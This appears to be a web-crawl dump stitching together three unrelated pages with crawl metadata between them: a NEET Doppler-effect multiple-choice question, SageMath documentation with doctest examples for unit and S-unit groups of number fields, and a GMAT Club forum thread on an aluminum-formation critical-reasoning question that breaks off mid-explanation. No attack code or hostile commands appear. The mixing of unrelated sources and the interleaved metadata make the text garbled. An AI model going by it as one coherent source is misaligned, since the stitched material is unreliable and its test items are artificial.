More Similar Questions | 1,018 | 3,125 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.0625 | 4 | CC-MAIN-2017-34 | latest | en | 0.887638 |
https://www.neetprep.com/question/51008-Two-cars-moving-opposite-directions-approach-speed-msand--ms-respectively-driver-first-car-blows-horn-having-afrequency--Hz-frequency-heard-driver-second-car-isvelocity-sound-msaHzbHzcHzdHz?courseId=18 | 1,553,366,306,000,000,000 | text/html | crawl-data/CC-MAIN-2019-13/segments/1552912202924.93/warc/CC-MAIN-20190323181713-20190323203713-00017.warc.gz | 821,459,739 | 9,444 | • Subject:
...
• Topic:
...
Two cars moving in opposite directions approach each other with speed of 22m/s and 16.5 m/s respectively. The driver of the first car blows a horn having a frequency 400 Hz. The frequency heard by the driver of the second car is [velocity of sound 340m/s]
(a)350Hz
(b)361Hz
(c)411Hz
(d)448Hz
NEET | 92 | 333 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.65625 | 3 | CC-MAIN-2019-13 | latest | en | 0.912436 |
https://doc.sagemath.org/html/en/reference/number_fields/sage/rings/number_field/unit_group.html | 1,722,679,030,000,000,000 | text/html | crawl-data/CC-MAIN-2024-33/segments/1722640365107.3/warc/CC-MAIN-20240803091113-20240803121113-00720.warc.gz | 164,397,196 | 12,414 | # Units and $$S$$-unit groups of number fields#
EXAMPLES:
sage: x = polygen(QQ)
sage: K.<a> = NumberField(x^4 - 8*x^2 + 36)
sage: UK = UnitGroup(K); UK
Unit group with structure C4 x Z of
Number Field in a with defining polynomial x^4 - 8*x^2 + 36
>>> from sage.all import *
>>> x = polygen(QQ)
>>> K = NumberField(x**Integer(4) - Integer(8)*x**Integer(2) + Integer(36), names=('a',)); (a,) = K._first_ngens(1)
>>> UK = UnitGroup(K); UK
Unit group with structure C4 x Z of
Number Field in a with defining polynomial x^4 - 8*x^2 + 36
The first generator is a primitive root of unity in the field:
sage: UK.gens()
(u0, u1)
sage: UK.gens_values() # random
[-1/12*a^3 + 1/6*a, 1/24*a^3 + 1/4*a^2 - 1/12*a - 1]
sage: UK.gen(0).value()
1/12*a^3 - 1/6*a
sage: UK.gen(0)
u0
sage: UK.gen(0) + K.one() # coerce abstract generator into number field
1/12*a^3 - 1/6*a + 1
sage: [u.multiplicative_order() for u in UK.gens()]
[4, +Infinity]
sage: UK.rank()
1
sage: UK.ngens()
2
>>> from sage.all import *
>>> UK.gens()
(u0, u1)
>>> UK.gens_values() # random
[-1/12*a^3 + 1/6*a, 1/24*a^3 + 1/4*a^2 - 1/12*a - 1]
>>> UK.gen(Integer(0)).value()
1/12*a^3 - 1/6*a
>>> UK.gen(Integer(0))
u0
>>> UK.gen(Integer(0)) + K.one() # coerce abstract generator into number field
1/12*a^3 - 1/6*a + 1
>>> [u.multiplicative_order() for u in UK.gens()]
[4, +Infinity]
>>> UK.rank()
1
>>> UK.ngens()
2
Units in the field can be converted into elements of the unit group represented as elements of an abstract multiplicative group:
sage: UK(1)
1
sage: UK(-1)
u0^2
sage: [UK(u) for u in (x^4 - 1).roots(K, multiplicities=False)]
[1, u0^2, u0, u0^3]
sage: UK.fundamental_units() # random
[1/24*a^3 + 1/4*a^2 - 1/12*a - 1]
sage: torsion_gen = UK.torsion_generator(); torsion_gen
u0
sage: torsion_gen.value()
1/12*a^3 - 1/6*a
sage: UK.zeta_order()
4
sage: UK.roots_of_unity()
[1/12*a^3 - 1/6*a, -1, -1/12*a^3 + 1/6*a, 1]
>>> from sage.all import *
>>> UK(Integer(1))
1
>>> UK(-Integer(1))
u0^2
>>> [UK(u) for u in (x**Integer(4) - Integer(1)).roots(K, multiplicities=False)]
[1, u0^2, u0, u0^3]
>>> UK.fundamental_units() # random
[1/24*a^3 + 1/4*a^2 - 1/12*a - 1]
>>> torsion_gen = UK.torsion_generator(); torsion_gen
u0
>>> torsion_gen.value()
1/12*a^3 - 1/6*a
>>> UK.zeta_order()
4
>>> UK.roots_of_unity()
[1/12*a^3 - 1/6*a, -1, -1/12*a^3 + 1/6*a, 1]
Exp and log functions provide maps between units as field elements and exponent vectors with respect to the generators:
sage: u = UK.exp([13,10]); u # random
-41/8*a^3 - 55/4*a^2 + 41/4*a + 55
sage: UK.log(u)
(1, 10)
sage: u = UK.fundamental_units()[0]
sage: [UK.log(u^k) == (0,k) for k in range(10)]
[True, True, True, True, True, True, True, True, True, True]
sage: all(UK.log(u^k) == (0,k) for k in range(10))
True
sage: K.<a> = NumberField(x^5 - 2,'a')
sage: UK = UnitGroup(K)
sage: UK.rank()
2
sage: UK.fundamental_units()
[a^3 + a^2 - 1, a - 1]
>>> from sage.all import *
>>> u = UK.exp([Integer(13),Integer(10)]); u # random
-41/8*a^3 - 55/4*a^2 + 41/4*a + 55
>>> UK.log(u)
(1, 10)
>>> u = UK.fundamental_units()[Integer(0)]
>>> [UK.log(u**k) == (Integer(0),k) for k in range(Integer(10))]
[True, True, True, True, True, True, True, True, True, True]
>>> all(UK.log(u**k) == (Integer(0),k) for k in range(Integer(10)))
True
>>> K = NumberField(x**Integer(5) - Integer(2),'a', names=('a',)); (a,) = K._first_ngens(1)
>>> UK = UnitGroup(K)
>>> UK.rank()
2
>>> UK.fundamental_units()
[a^3 + a^2 - 1, a - 1]
$$S$$-unit groups may be constructed, where $$S$$ is a set of primes:
sage: K.<a> = NumberField(x^6 + 2)
sage: S = K.ideal(3).prime_factors(); S
[Fractional ideal (3, a + 1), Fractional ideal (3, a - 1)]
sage: SUK = UnitGroup(K,S=tuple(S)); SUK
S-unit group with structure C2 x Z x Z x Z x Z of
Number Field in a with defining polynomial x^6 + 2
with S = (Fractional ideal (3, a + 1), Fractional ideal (3, a - 1))
sage: SUK.primes()
(Fractional ideal (3, a + 1), Fractional ideal (3, a - 1))
sage: SUK.rank()
4
sage: SUK.gens_values()
[-1, a^2 + 1, -a^5 - a^4 + a^2 + a + 1, a + 1, a - 1]
sage: u = 9*prod(SUK.gens_values()); u
-18*a^5 - 18*a^4 - 18*a^3 - 9*a^2 + 9*a + 27
sage: SUK.log(u)
(1, 3, 1, 7, 7)
sage: u == SUK.exp((1,3,1,7,7))
True
>>> from sage.all import *
>>> K = NumberField(x**Integer(6) + Integer(2), names=('a',)); (a,) = K._first_ngens(1)
>>> S = K.ideal(Integer(3)).prime_factors(); S
[Fractional ideal (3, a + 1), Fractional ideal (3, a - 1)]
>>> SUK = UnitGroup(K,S=tuple(S)); SUK
S-unit group with structure C2 x Z x Z x Z x Z of
Number Field in a with defining polynomial x^6 + 2
with S = (Fractional ideal (3, a + 1), Fractional ideal (3, a - 1))
>>> SUK.primes()
(Fractional ideal (3, a + 1), Fractional ideal (3, a - 1))
>>> SUK.rank()
4
>>> SUK.gens_values()
[-1, a^2 + 1, -a^5 - a^4 + a^2 + a + 1, a + 1, a - 1]
>>> u = Integer(9)*prod(SUK.gens_values()); u
-18*a^5 - 18*a^4 - 18*a^3 - 9*a^2 + 9*a + 27
>>> SUK.log(u)
(1, 3, 1, 7, 7)
>>> u == SUK.exp((Integer(1),Integer(3),Integer(1),Integer(7),Integer(7)))
True
A relative number field example:
sage: L.<a, b> = NumberField([x^2 + x + 1, x^4 + 1])
sage: UL = L.unit_group(); UL
Unit group with structure C24 x Z x Z x Z of
Number Field in a with defining polynomial x^2 + x + 1 over its base field
sage: UL.gens_values() # random
[-b^3*a - b^3, -b^3*a + b, (-b^3 - b^2 - b)*a - b - 1, (-b^3 - 1)*a - b^2 + b - 1]
sage: UL.zeta_order()
24
sage: UL.roots_of_unity()
[-b*a,
-b^2*a - b^2,
-b^3,
-a,
-b*a - b,
-b^2,
b^3*a,
-a - 1,
-b,
b^2*a,
b^3*a + b^3,
-1,
b*a,
b^2*a + b^2,
b^3,
a,
b*a + b,
b^2,
-b^3*a,
a + 1,
b,
-b^2*a,
-b^3*a - b^3,
1]
>>> from sage.all import *
>>> L = NumberField([x**Integer(2) + x + Integer(1), x**Integer(4) + Integer(1)], names=('a', 'b',)); (a, b,) = L._first_ngens(2)
>>> UL = L.unit_group(); UL
Unit group with structure C24 x Z x Z x Z of
Number Field in a with defining polynomial x^2 + x + 1 over its base field
>>> UL.gens_values() # random
[-b^3*a - b^3, -b^3*a + b, (-b^3 - b^2 - b)*a - b - 1, (-b^3 - 1)*a - b^2 + b - 1]
>>> UL.zeta_order()
24
>>> UL.roots_of_unity()
[-b*a,
-b^2*a - b^2,
-b^3,
-a,
-b*a - b,
-b^2,
b^3*a,
-a - 1,
-b,
b^2*a,
b^3*a + b^3,
-1,
b*a,
b^2*a + b^2,
b^3,
a,
b*a + b,
b^2,
-b^3*a,
a + 1,
b,
-b^2*a,
-b^3*a - b^3,
1]
A relative extension example, which worked thanks to the code review by F.W.Clarke:
sage: PQ.<X> = QQ[]
sage: F.<a, b> = NumberField([X^2 - 2, X^2 - 3])
sage: PF.<Y> = F[]
sage: K.<c> = F.extension(Y^2 - (1 + a)*(a + b)*a*b)
sage: K.unit_group()
Unit group with structure C2 x Z x Z x Z x Z x Z x Z x Z of Number Field in c
with defining polynomial Y^2 + (-2*b - 3)*a - 2*b - 6 over its base field
>>> from sage.all import *
>>> PQ = QQ['X']; (X,) = PQ._first_ngens(1)
>>> F = NumberField([X**Integer(2) - Integer(2), X**Integer(2) - Integer(3)], names=('a', 'b',)); (a, b,) = F._first_ngens(2)
>>> PF = F['Y']; (Y,) = PF._first_ngens(1)
>>> K = F.extension(Y**Integer(2) - (Integer(1) + a)*(a + b)*a*b, names=('c',)); (c,) = K._first_ngens(1)
>>> K.unit_group()
Unit group with structure C2 x Z x Z x Z x Z x Z x Z x Z of Number Field in c
with defining polynomial Y^2 + (-2*b - 3)*a - 2*b - 6 over its base field
AUTHOR:
• John Cremona
class sage.rings.number_field.unit_group.UnitGroup(number_field, proof=True, S=None)[source]#
The unit group or an $$S$$-unit group of a number field.
exp(exponents)[source]#
Return unit with given exponents with respect to group generators.
INPUT:
• u – Any object from which an element of the unit group’s number field $$K$$ may be constructed; an error is raised if an element of $$K$$ cannot be constructed from $$u$$, or if the element constructed is not a unit.
OUTPUT: a list of integers giving the exponents of $$u$$ with respect to the unit group’s basis.
EXAMPLES:
sage: x = polygen(QQ)
sage: K.<z> = CyclotomicField(13)
sage: UK = UnitGroup(K)
sage: [UK.log(u) for u in UK.gens()]
[(1, 0, 0, 0, 0, 0),
(0, 1, 0, 0, 0, 0),
(0, 0, 1, 0, 0, 0),
(0, 0, 0, 1, 0, 0),
(0, 0, 0, 0, 1, 0),
(0, 0, 0, 0, 0, 1)]
sage: vec = [65,6,7,8,9,10]
sage: unit = UK.exp(vec)
sage: UK.log(unit)
(13, 6, 7, 8, 9, 10)
sage: u = UK.gens()[-1]
sage: UK.exp(UK.log(u)) == u.value()
True
>>> from sage.all import *
>>> x = polygen(QQ)
>>> K = CyclotomicField(Integer(13), names=('z',)); (z,) = K._first_ngens(1)
>>> UK = UnitGroup(K)
>>> [UK.log(u) for u in UK.gens()]
[(1, 0, 0, 0, 0, 0),
(0, 1, 0, 0, 0, 0),
(0, 0, 1, 0, 0, 0),
(0, 0, 0, 1, 0, 0),
(0, 0, 0, 0, 1, 0),
(0, 0, 0, 0, 0, 1)]
>>> vec = [Integer(65),Integer(6),Integer(7),Integer(8),Integer(9),Integer(10)]
>>> unit = UK.exp(vec)
>>> UK.log(unit)
(13, 6, 7, 8, 9, 10)
>>> u = UK.gens()[-Integer(1)]
>>> UK.exp(UK.log(u)) == u.value()
True
An S-unit example:
sage: SUK = UnitGroup(K,S=2)
sage: v = (3,1,4,1,5,9,2)
sage: u = SUK.exp(v); u
8732*z^11 - 15496*z^10 - 51840*z^9 - 68804*z^8 - 51840*z^7 - 15496*z^6
+ 8732*z^5 - 34216*z^3 - 64312*z^2 - 64312*z - 34216
sage: SUK.log(u)
(3, 1, 4, 1, 5, 9, 2)
sage: SUK.log(u) == v
True
>>> from sage.all import *
>>> SUK = UnitGroup(K,S=Integer(2))
>>> v = (Integer(3),Integer(1),Integer(4),Integer(1),Integer(5),Integer(9),Integer(2))
>>> u = SUK.exp(v); u
8732*z^11 - 15496*z^10 - 51840*z^9 - 68804*z^8 - 51840*z^7 - 15496*z^6
+ 8732*z^5 - 34216*z^3 - 64312*z^2 - 64312*z - 34216
>>> SUK.log(u)
(3, 1, 4, 1, 5, 9, 2)
>>> SUK.log(u) == v
True
fundamental_units()[source]#
Return generators for the free part of the unit group, as a list.
EXAMPLES:
sage: x = polygen(QQ)
sage: K.<a> = NumberField(x^4 + 23)
sage: U = UnitGroup(K)
sage: U.fundamental_units() # random
[1/4*a^3 - 7/4*a^2 + 17/4*a - 19/4]
>>> from sage.all import *
>>> x = polygen(QQ)
>>> K = NumberField(x**Integer(4) + Integer(23), names=('a',)); (a,) = K._first_ngens(1)
>>> U = UnitGroup(K)
>>> U.fundamental_units() # random
[1/4*a^3 - 7/4*a^2 + 17/4*a - 19/4]
log(u)[source]#
Return the exponents of the unit $$u$$ with respect to group generators.
INPUT:
• u – Any object from which an element of the unit group’s number field $$K$$ may be constructed; an error is raised if an element of $$K$$ cannot be constructed from $$u$$, or if the element constructed is not a unit.
OUTPUT: a list of integers giving the exponents of $$u$$ with respect to the unit group’s basis.
EXAMPLES:
sage: x = polygen(QQ)
sage: K.<z> = CyclotomicField(13)
sage: UK = UnitGroup(K)
sage: [UK.log(u) for u in UK.gens()]
[(1, 0, 0, 0, 0, 0),
(0, 1, 0, 0, 0, 0),
(0, 0, 1, 0, 0, 0),
(0, 0, 0, 1, 0, 0),
(0, 0, 0, 0, 1, 0),
(0, 0, 0, 0, 0, 1)]
sage: vec = [65,6,7,8,9,10]
sage: unit = UK.exp(vec); unit # random
-253576*z^11 + 7003*z^10 - 395532*z^9 - 35275*z^8 - 500326*z^7 - 35275*z^6
- 395532*z^5 + 7003*z^4 - 253576*z^3 - 59925*z - 59925
sage: UK.log(unit)
(13, 6, 7, 8, 9, 10)
>>> from sage.all import *
>>> x = polygen(QQ)
>>> K = CyclotomicField(Integer(13), names=('z',)); (z,) = K._first_ngens(1)
>>> UK = UnitGroup(K)
>>> [UK.log(u) for u in UK.gens()]
[(1, 0, 0, 0, 0, 0),
(0, 1, 0, 0, 0, 0),
(0, 0, 1, 0, 0, 0),
(0, 0, 0, 1, 0, 0),
(0, 0, 0, 0, 1, 0),
(0, 0, 0, 0, 0, 1)]
>>> vec = [Integer(65),Integer(6),Integer(7),Integer(8),Integer(9),Integer(10)]
>>> unit = UK.exp(vec); unit # random
-253576*z^11 + 7003*z^10 - 395532*z^9 - 35275*z^8 - 500326*z^7 - 35275*z^6
- 395532*z^5 + 7003*z^4 - 253576*z^3 - 59925*z - 59925
>>> UK.log(unit)
(13, 6, 7, 8, 9, 10)
An S-unit example:
sage: SUK = UnitGroup(K, S=2)
sage: v = (3,1,4,1,5,9,2)
sage: u = SUK.exp(v); u
8732*z^11 - 15496*z^10 - 51840*z^9 - 68804*z^8 - 51840*z^7 - 15496*z^6
+ 8732*z^5 - 34216*z^3 - 64312*z^2 - 64312*z - 34216
sage: SUK.log(u)
(3, 1, 4, 1, 5, 9, 2)
sage: SUK.log(u) == v
True
>>> from sage.all import *
>>> SUK = UnitGroup(K, S=Integer(2))
>>> v = (Integer(3),Integer(1),Integer(4),Integer(1),Integer(5),Integer(9),Integer(2))
>>> u = SUK.exp(v); u
8732*z^11 - 15496*z^10 - 51840*z^9 - 68804*z^8 - 51840*z^7 - 15496*z^6
+ 8732*z^5 - 34216*z^3 - 64312*z^2 - 64312*z - 34216
>>> SUK.log(u)
(3, 1, 4, 1, 5, 9, 2)
>>> SUK.log(u) == v
True
number_field()[source]#
Return the number field associated with this unit group.
EXAMPLES:
sage: U = UnitGroup(QuadraticField(-23, 'w')); U
Unit group with structure C2 of
Number Field in w with defining polynomial x^2 + 23 with w = 4.795831523312720?*I
sage: U.number_field()
Number Field in w with defining polynomial x^2 + 23 with w = 4.795831523312720?*I
>>> from sage.all import *
>>> U = UnitGroup(QuadraticField(-Integer(23), 'w')); U
Unit group with structure C2 of
Number Field in w with defining polynomial x^2 + 23 with w = 4.795831523312720?*I
>>> U.number_field()
Number Field in w with defining polynomial x^2 + 23 with w = 4.795831523312720?*I
primes()[source]#
Return the (possibly empty) list of primes associated with this S-unit group.
EXAMPLES:
sage: K.<a> = QuadraticField(-23)
sage: S = tuple(K.ideal(3).prime_factors()); S
(Fractional ideal (3, 1/2*a - 1/2), Fractional ideal (3, 1/2*a + 1/2))
sage: U = UnitGroup(K,S=tuple(S)); U
S-unit group with structure C2 x Z x Z of
Number Field in a with defining polynomial x^2 + 23 with a = 4.795831523312720?*I
with S = (Fractional ideal (3, 1/2*a - 1/2), Fractional ideal (3, 1/2*a + 1/2))
sage: U.primes() == S
True
>>> from sage.all import *
>>> K = QuadraticField(-Integer(23), names=('a',)); (a,) = K._first_ngens(1)
>>> S = tuple(K.ideal(Integer(3)).prime_factors()); S
(Fractional ideal (3, 1/2*a - 1/2), Fractional ideal (3, 1/2*a + 1/2))
>>> U = UnitGroup(K,S=tuple(S)); U
S-unit group with structure C2 x Z x Z of
Number Field in a with defining polynomial x^2 + 23 with a = 4.795831523312720?*I
with S = (Fractional ideal (3, 1/2*a - 1/2), Fractional ideal (3, 1/2*a + 1/2))
>>> U.primes() == S
True
rank()[source]#
Return the rank of the unit group.
EXAMPLES:
sage: K.<z> = CyclotomicField(13)
sage: UnitGroup(K).rank()
5
sage: SUK = UnitGroup(K, S=2); SUK.rank()
6
>>> from sage.all import *
>>> K = CyclotomicField(Integer(13), names=('z',)); (z,) = K._first_ngens(1)
>>> UnitGroup(K).rank()
5
>>> SUK = UnitGroup(K, S=Integer(2)); SUK.rank()
6
roots_of_unity()[source]#
Return all the roots of unity in this unit group, primitive or not.
EXAMPLES:
sage: x = polygen(QQ)
sage: K.<b> = NumberField(x^2 + 1)
sage: U = UnitGroup(K)
sage: zs = U.roots_of_unity(); zs
[b, -1, -b, 1]
sage: [ z**U.zeta_order() for z in zs ]
[1, 1, 1, 1]
>>> from sage.all import *
>>> x = polygen(QQ)
>>> K = NumberField(x**Integer(2) + Integer(1), names=('b',)); (b,) = K._first_ngens(1)
>>> U = UnitGroup(K)
>>> zs = U.roots_of_unity(); zs
[b, -1, -b, 1]
>>> [ z**U.zeta_order() for z in zs ]
[1, 1, 1, 1]
torsion_generator()[source]#
Return a generator for the torsion part of the unit group.
EXAMPLES:
sage: x = polygen(QQ)
sage: K.<a> = NumberField(x^4 - x^2 + 4)
sage: U = UnitGroup(K)
sage: U.torsion_generator()
u0
sage: U.torsion_generator().value() # random
-1/4*a^3 - 1/4*a + 1/2
>>> from sage.all import *
>>> x = polygen(QQ)
>>> K = NumberField(x**Integer(4) - x**Integer(2) + Integer(4), names=('a',)); (a,) = K._first_ngens(1)
>>> U = UnitGroup(K)
>>> U.torsion_generator()
u0
>>> U.torsion_generator().value() # random
-1/4*a^3 - 1/4*a + 1/2
zeta(n=2, all=False)[source]#
Return one, or a list of all, primitive $$n$$-th root of unity in this unit group.
EXAMPLES:
sage: x = polygen(QQ)
sage: K.<z> = NumberField(x^2 + 3)
sage: U = UnitGroup(K)
sage: U.zeta(1)
1
sage: U.zeta(2)
-1
sage: U.zeta(2, all=True)
[-1]
sage: U.zeta(3)
-1/2*z - 1/2
sage: U.zeta(3, all=True)
[-1/2*z - 1/2, 1/2*z - 1/2]
sage: U.zeta(4)
Traceback (most recent call last):
...
ValueError: n (=4) does not divide order of generator
sage: r.<x> = QQ[]
sage: K.<b> = NumberField(x^2 + 1)
sage: U = UnitGroup(K)
sage: U.zeta(4)
b
sage: U.zeta(4,all=True)
[b, -b]
sage: U.zeta(3)
Traceback (most recent call last):
...
ValueError: n (=3) does not divide order of generator
sage: U.zeta(3, all=True)
[]
>>> from sage.all import *
>>> x = polygen(QQ)
>>> K = NumberField(x**Integer(2) + Integer(3), names=('z',)); (z,) = K._first_ngens(1)
>>> U = UnitGroup(K)
>>> U.zeta(Integer(1))
1
>>> U.zeta(Integer(2))
-1
>>> U.zeta(Integer(2), all=True)
[-1]
>>> U.zeta(Integer(3))
-1/2*z - 1/2
>>> U.zeta(Integer(3), all=True)
[-1/2*z - 1/2, 1/2*z - 1/2]
>>> U.zeta(Integer(4))
Traceback (most recent call last):
...
ValueError: n (=4) does not divide order of generator
>>> r = QQ['x']; (x,) = r._first_ngens(1)
>>> K = NumberField(x**Integer(2) + Integer(1), names=('b',)); (b,) = K._first_ngens(1)
>>> U = UnitGroup(K)
>>> U.zeta(Integer(4))
b
>>> U.zeta(Integer(4),all=True)
[b, -b]
>>> U.zeta(Integer(3))
Traceback (most recent call last):
...
ValueError: n (=3) does not divide order of generator
>>> U.zeta(Integer(3), all=True)
[]
zeta_order()[source]#
Returns the order of the torsion part of the unit group.
EXAMPLES:
sage: x = polygen(QQ)
sage: K.<a> = NumberField(x^4 - x^2 + 4)
sage: U = UnitGroup(K)
sage: U.zeta_order()
6
>>> from sage.all import *
>>> x = polygen(QQ)
>>> K = NumberField(x**Integer(4) - x**Integer(2) + Integer(4), names=('a',)); (a,) = K._first_ngens(1)
>>> U = UnitGroup(K)
>>> U.zeta_order()
6 | 6,928 | 17,050 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.375 | 3 | CC-MAIN-2024-33 | latest | en | 0.49714 |
https://gmatclub.com/forum/it-takes-the-heat-of-large-stars-or-supernovae-to-cause-161488.html?sort_by_oldest=true | 1,495,799,834,000,000,000 | text/html | crawl-data/CC-MAIN-2017-22/segments/1495463608659.43/warc/CC-MAIN-20170526105726-20170526125726-00401.warc.gz | 967,274,804 | 67,509 | Check GMAT Club Decision Tracker for the Latest School Decision Releases https://gmatclub.com/AppTrack
It is currently 26 May 2017, 04:57
# TODAY:
### GMAT Club Daily Prep
#### Thank you for using the timer - this advanced tool can estimate your performance and suggest more practice questions. We have subscribed you to Daily Prep Questions via email.
Customized
for You
we will pick new questions that match your level based on your Timer History
Track
every week, we’ll send you an estimated GMAT score based on your performance
Practice
Pays
we will pick new questions that match your level based on your Timer History
# Events & Promotions
###### Events & Promotions in June
Open Detailed Calendar
# It takes the heat of large stars or supernovae to cause
new topic post reply Question banks Downloads My Bookmarks Reviews Important topics
Author Message
TAGS:
### Hide Tags
Senior Manager
Joined: 10 Apr 2012
Posts: 276
Location: United States
Concentration: Technology, Other
GPA: 2.44
WE: Project Management (Telecommunications)
Followers: 5
Kudos [?]: 905 [1] , given: 325
It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
12 Oct 2013, 16:19
1
KUDOS
7
This post was
BOOKMARKED
00:00
Difficulty:
75% (hard)
Question Stats:
50% (02:37) correct 50% (01:28) wrong based on 495 sessions
### HideShow timer Statistics
It takes the heat of large stars or supernovae to cause the fusion of magnesium with hydrogen, creating a chemically stable aluminum. Since aluminum is one of the most abundant elements on Earth, it can be inferred that, at least at some point, the temperature inside or outside Earth was comparable to that on large stars or supernovae.
Which of the following, if true, causes most damage to the conclusion of the argument above?
(A)Creation of stable aluminum requires distinct pressure conditions not typical of contemporary Earth.
(B)Some of the aluminum found on Earth was brought here with asteroids or other cosmic bodies that were parts of large stars or supernovae.
(C)Most aluminum on Earth comes in oxides, and native aluminum can be found only in low oxygen environments.
(D)Aluminum found on Earth has several vacant electrons that have to be artificially removed in order for it to become chemically stable.
(E)Magnesium itself can only be formed under strictly defined conditions.
[Reveal] Spoiler: OA
If you have any questions
you can ask an expert
New!
Manager
Joined: 20 Jul 2012
Posts: 166
Location: India
WE: Information Technology (Computer Software)
Followers: 1
Kudos [?]: 34 [2] , given: 559
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
12 Oct 2013, 21:31
2
KUDOS
guerrero25 wrote:
It takes the heat of large stars or supernovae to cause the fusion of magnesium with hydrogen, creating a chemically stable aluminum. Since aluminum is one of the most abundant elements on Earth, it can be inferred that, at least at some point, the temperature inside or outside Earth was comparable to that on large stars or supernovae.
Which of the following, if true, causes most damage to the conclusion of the argument above?
(A)Creation of stable aluminum requires distinct pressure conditions not typical of contemporary Earth.
(B)Some of the aluminum found on Earth was brought here with asteroids or other cosmic bodies that were parts of large stars or supernovae.
(C)Most aluminum on Earth comes in oxides, and native aluminum can be found only in low oxygen environments.
(D)Aluminum found on Earth has several vacant electrons that have to be artificially removed in order for it to become chemically stable.
(E)Magnesium itself can only be formed under strictly defined conditions.
IMO (D)
(A)Creation of stable aluminum requires distinct pressure conditions not typical of contemporary Earth.Out of scope
(B)Some of the aluminum found on Earth was brought here with asteroids or other cosmic bodies that were parts of large stars or supernovae.
(C)Most aluminum on Earth comes in oxides, and native aluminum can be found only in low oxygen environments.-Out of scope
(D)Aluminum found on Earth has several vacant electrons that have to be artificially removed in order for it to become chemically stable.
(E)Magnesium itself can only be formed under strictly defined conditions.-Out of scope
Down to (B) and (D)
"Since aluminum is one of the most abundant elements on Earth"-Even if some of the aluminium was bought by asteroids or other cosmic bodies that were parts of large stars or supernovae- what about the major part of it.??
Now analyzing (D)
we have to weaken that temperature on earth was almost the same as that of stars or supernova...means if thats the case the aluminium found on Earth should not be chemically stable.. (D) clearly says that...
_________________
Preparing for another shot...
Manager
Joined: 23 May 2013
Posts: 126
Followers: 1
Kudos [?]: 62 [0], given: 110
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
12 Oct 2013, 21:36
guerrero25 wrote:
It takes the heat of large stars or supernovae to cause the fusion of magnesium with hydrogen, creating a chemically stable aluminum. Since aluminum is one of the most abundant elements on Earth, it can be inferred that, at least at some point, the temperature inside or outside Earth was comparable to that on large stars or supernovae.
Which of the following, if true, causes most damage to the conclusion of the argument above?
(A)Creation of stable aluminum requires distinct pressure conditions not typical of contemporary Earth.
(B)Some of the aluminum found on Earth was brought here with asteroids or other cosmic bodies that were parts of large stars or supernovae.
(C)Most aluminum on Earth comes in oxides, and native aluminum can be found only in low oxygen environments.
(D)Aluminum found on Earth has several vacant electrons that have to be artificially removed in order for it to become chemically stable.
(E)Magnesium itself can only be formed under strictly defined conditions.
OA to follow Soon
What is OA? Confused between C and D..will go with C though.
Conclusion : the temperature inside or outside Earth was comparable to that on large stars or supernovae
(A)Creation of stable aluminum requires distinct pressure conditions not typical of contemporary Earth.
Incorrect..It talks about contemporary earth, so still the temperature could have been like star in the past
(B)Some of the aluminum found on Earth was brought here with asteroids or other cosmic bodies that were parts of large stars or supernovae.
this give reason only for 'some' of AL, we are concerned for large quantities of AL.
(C)Most aluminum on Earth comes in oxides, and native aluminum can be found only in low oxygen environments.
since native AL can be found only in low O2 env and it also contain O2..there is high chance that it was imported or there is some other process which may not require high temp..still not 100% sure
(D)Aluminum found on Earth has several vacant electrons that have to be artificially removed in order for it to become chemically stable.
Here there is an additional process explained for AL to be chemically stable which may require intense heat. this infact supports the conclusion
(E)Magnesium itself can only be formed under strictly defined conditions.
Out of scope. We have no idea or concern on how Mg is formed.
_________________
“Confidence comes not from always being right but from not fearing to be wrong.”
Verbal Forum Moderator
Joined: 16 Jun 2012
Posts: 1132
Location: United States
Followers: 278
Kudos [?]: 3112 [1] , given: 123
Re: It takes the heat of large stars or supernovae to cause [#permalink]
### Show Tags
12 Oct 2013, 23:15
1
KUDOS
1
This post was
BOOKMARKED
This question requires you to read it carefully.
ANALYZE THE STIMULUS:
Fact: The heat of large stars or supernovae ==> the fusion of magnesium with hydrogen ==> creating a chemically stable aluminum. KEY word: "STABLE aluminum". Not aluminum in general.
Fact: Aluminum is one of the most abundant elements on Earth,
Conclusion: At least at some point, the temperature inside or outside Earth was comparable to that on large stars or supernovae.
Question: Which of the following, if true, causes most damage to the conclusion of the argument above?
(A)Creation of stable aluminum requires distinct pressure conditions not typical of contemporary Earth.
Wrong. "not typical of contemporary Earth" does not mean the creating of stable aluminum did not happen in the past.
(B)Some of the aluminum found on Earth was brought here with asteroids or other cosmic bodies that were parts of large stars or supernovae.
Wrong. "Some" does not mean "all". Let say 1/2 of the aluminum was brought to the Earth by asteroid, other 1/2 of aluminum created by temperature inside or outside Earth ==> The conclusion is true.
Other reason to eliminate: B only talks about "aluminum", not "STABLE aluminum" ==> We can't say anything about the creating of stable aluminum on Earth.
(C)Most aluminum on Earth comes in oxides, and native aluminum can be found only in low oxygen environments.
Wrong. Out of scope.
(D)Aluminum found on Earth has several vacant electrons that have to be artificially removed in order for it to become chemically stable.
Correct. D shows that STABLE aluminum can be created artificially on Earth, not by temperature inside or outside Earth.
(E)Magnesium itself can only be formed under strictly defined conditions.
